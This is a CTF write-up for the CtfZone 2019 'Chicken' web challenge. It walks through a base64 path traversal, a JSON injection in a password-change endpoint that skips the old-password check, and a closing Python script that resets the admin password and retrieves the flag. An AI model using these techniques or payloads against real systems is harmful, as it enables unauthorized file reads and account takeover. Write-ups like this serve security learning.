CtfZone 2019 Quals - Chicken WriteUp

Posted on Fri, 2019-12-13 in CTF

Time to try to put together a writeup of a challenge I think only us of mhackeroni solved. Given that there were only few reversing challenges, I put on my web-guy hat and started going down the rabbit hole.

Spoiler alert: I will explain not only the solution, but also my discovery process, which I think is way more interesting than a pre-cooked meal.

Introduction

When we opened http://web-chicken.ctfz.one/, we were presented with a nice website about chickens and stuff.

First thing we noticed is that there were some juicy /File/Download?filename=<base64> urls around, which totally looked sketchy. Turns out the base64 string is the encoded path of the file to download.

So yep, just like that, we had path traversal and could read whatever we wanted from the server.

The Quest For The Main DLL

This app looked very enterprise-level, so we knew it was written in dotnet (actually, just look at the HTML and it's clear). For whatever reason, russian CTF organizers really love dotnet stuff on linux.

About dotnet... Every compiled project has a ProjectName.dll file in its main directory, but we couldn't guess that name.

And so it was time to turn to Google san.

We opened a new tab, wrote dotnet web project structure or something like that and looked at the pictures. We could see some interesting files in the directory trees in the image search. Unfortunately, none of the files we downloaded contained the app name. Not even appsettings.json.

Sad.

Eventually our eyes fell on ./Views/_ViewImports.cshtml, a nice file that started with @using StackHenneryMVCAppProject.

Yep, totally guessable, StackHenneryMVCAppProject.

And so, by the powers of the path traversal, we downloaded StackHenneryMVCAppProject.dll and loaded it in ILSpy.

The Code

The code of the app is actually pretty small. At first, we looked at the crypto but it looked fine to my reverser's eyes.

Second, we looked at the network configuration. The challenge was made out of 3 servers:

  1. The main website we saw so far
  2. An authentication server in the internal network of the challenge
  3. A configuration server in the internal network of the challenge

After poking around with the API for a bit, we kinda knew that the most promising place to look at was the Change_Password_Test function of the AuthController.

Protip: _test looks very enterprise and so it's likely to be broken.

[HttpPost]
public async Task<IActionResult> Change_Password_Test(string username, string new_password, string old_password, string base_url)
{
    Configuration conf = Configuration.getSingleton();
    if (base_url == null)
    {
        base_url = "http://" + conf.auth_server;
    }
    HttpClient client = new HttpClient();
    string try_login_request = $"{{\"username\":\"{username}\",\"password\":\"{old_password}\",\"secret_token\":\"{conf.secret_token}\"}}";
    string url = base_url + "/auth/login";
    StringContent request2 = new StringContent(try_login_request, Encoding.UTF8, "application/json");
    HttpResponseMessage response = await client.PostAsync(url, request2);
    if (response.StatusCode != HttpStatusCode.OK)
    {
        base.ViewBag.Error = "Bad request";
        return View();
    }
    LoginResponse resp = JsonConvert.DeserializeObject<LoginResponse>(await response.Content.ReadAsStringAsync());
    if (resp.code != 0)
    {
        base.ViewBag.Error = "Invalid login/password";
        return View();
    }
    string change_password_request = $"{{\"username\":\"{username}\",\"new_password\":\"{new_password}\",\"secret_token\":\"{conf.secret_token}\"}} ";
    string change_pass_url = "http://" + conf.auth_server + "/auth/change_password";
    request2 = new StringContent(change_password_request, Encoding.UTF8, "application/json");
    await client.PutAsync(change_pass_url, request2);
    return Content("Password changed");
}

Alright alright alright, what do we have here?

First thing is that we control all of the parameters to this method of course (they are simply the parameters of our POST request).

Secondly, that this method makes 2 requests:

  1. POST to base_url + "/auth/login" to check the given current password
  2. PUT to http://auth_server/auth/change_password

Ok, to be honest, we overlooked the fact that the second request was a PUT and not a POST. That made us waste a lot of time as we couldn't understand why our exploit wasn't working as intended.

Anyway, you can easily see that try_login_request is a string concatenation and so we can inject whatever we want in that json (e.g.: 'old_password': '{}","new_password":"{}').

Overall, Change_Password_Test suffers from a classical mistake when checking and changing a password: the request is done in two separate phases and the password change doesn't actually check for the current password.

The Attack Plan

Our attack plan was pretty clear: with some web magic, we wanted to bypass the first request (the password check) and reach the second one (the password change).

In order to find a way to do it, we started looking at how the first request's response is checked:

    if (response.StatusCode != HttpStatusCode.OK)
    {
        base.ViewBag.Error = "Bad request";
        return View();
    }
    LoginResponse resp = JsonConvert.DeserializeObject<LoginResponse>(await response.Content.ReadAsStringAsync());
    if (resp.code != 0)
    {
        base.ViewBag.Error = "Invalid login/password";
        return View();
    }

So we needed some URL that returned HTTP 200 and a valid json with the data for a LoginResponse object.

Let's look at its code:

public class LoginResponse
{
    public int code
    {
        get;
        set;
    }

    public string message
    {
        get;
        set;
    }

    public string token
    {
        get;
        set;
    }
}

See anything interesting here?

No [Required] annotations.

This means that every json is going to be succesfully deserialized into an empty LoginResponse object, thus setting code=0, thus bypassing the password check. Unused attributes in the json file are just going to be ignored by the deserialization.

Now, since we didn't see that the second request was a PUT, we spent a lot of time trying different things and they didn't work.

At some point, we decided it was a good idea to recreate the challenge environment locally. And so we did :) We made a script that downloaded the DLLs/views/etc one file at a time using the path traversal vuln. We also stubbed the auth and configuration server using a simple flask-based app. It was kind of working (there were some configuration errors that broke the view rendering), and we finally noticed that the request was indeed a PUT.

This is what you get when you do CTFs instead of going to sleep.

Anyway, we were really proud of our script that used dotnet to run the app, logged its execution and used some regexps to download all the files that were missing.

Back on track.

It looks like everything we needed now was an URL that returned a valid json file, so that LoginResponse was going to be deserialized with .code = 0.

This is one of the things we were most proud of: we decided to use the path traversal itself as baseUrl for the password change, and we pointed the base64 path to a json on the filesystem.

What json file? None other than appsettings.json, the dotnet configuration file.

See what we did there? :) Binary guys chaining vulns.

The Unexpected Behavior

At this point we had an exploit that was working but not really.

The webserver was giving us all the right responses but we still couldn't login.

This is when we asked the organizers for confirmation that the admin username was indeed admin. We got a nice we can't tell you that reply. Not the nicest organizers out there :) but another org confirmed the user was admin.

After some more guessing, I thought well... they wouldn't be so nice as to put some password strength verification on a CTF challenge... right? ...right?.

My ass.

The only reason our exploit was failing now, was that the challenge was checking that the new password had at least one uppercase character and a number.

Yeah.

First time in my CTF career.

Anyway, this ends my sloppy writeup.

The Script

#!/usr/bin/env python

import base64
import requests


s = requests.Session()

USERNAME = 'admin'
PASSWORD = 'TotallyWasntASwear123'

print('{}","new_password":"{}'.format(PASSWORD, PASSWORD))

# Change the password
r = s.post(
    'http://web-chicken.ctfz.one/Auth/Change_Password_Test',
    data={
        'username': USERNAME,
        'old_password': '{}","new_password":"{}'.format(PASSWORD, PASSWORD),
        'new_password': '{}","asd":"lol'.format(PASSWORD),
        'base_url': 'http://web-chicken.ctfz.one/File/Download?filename={}&asd'.format(
            base64.b64encode(b'/app/appsettings.json').decode('ascii')
        ),
    }
)

# For the sake of it
r = s.get('http://web-chicken.ctfz.one/Auth/Login')

# Login and get the flag
r = s.post(
    'http://web-chicken.ctfz.one/Auth/Login',
    data={
        'returnUrl': '',
        'username': USERNAME,
        'password': PASSWORD,
    }
)

# Print the flag
print(r.text)

Conclusion

Now for the funny part. Here's a message from the organizers to some people asking for a solution on Telegram:

Telegram

...so it looks like our solution was... unintended?

The actual solution was to... guess the additional http://web-chicken-auth/auth/password_recovery URL and pass the admin email (which was written on the website)?

We will never know.

Up until that point I was like "this challenge had some random things like the password strength check, but overall it was actually tricky in a smart way".

Now, if that's the proper solution, I don't really know what to think anymore.

But there you have it, your boy managed to use his bad web skills to actually do some good and bring 500 points home in what seemed like the only solve to this challenge :)

Cheers,

babush

P.S.: During a good chunk of this challenge I had jinblack by my side, so GG to him too.

Update: Apparently there was a simpler solution. The web-chicken-auth server was exposed to the outside by the reverse-proxy in front of it. By putting Host: web-chicken-auth in my requests I would have avoided the need of writing this entire blog post. Still doesn't make much sense if you ask me.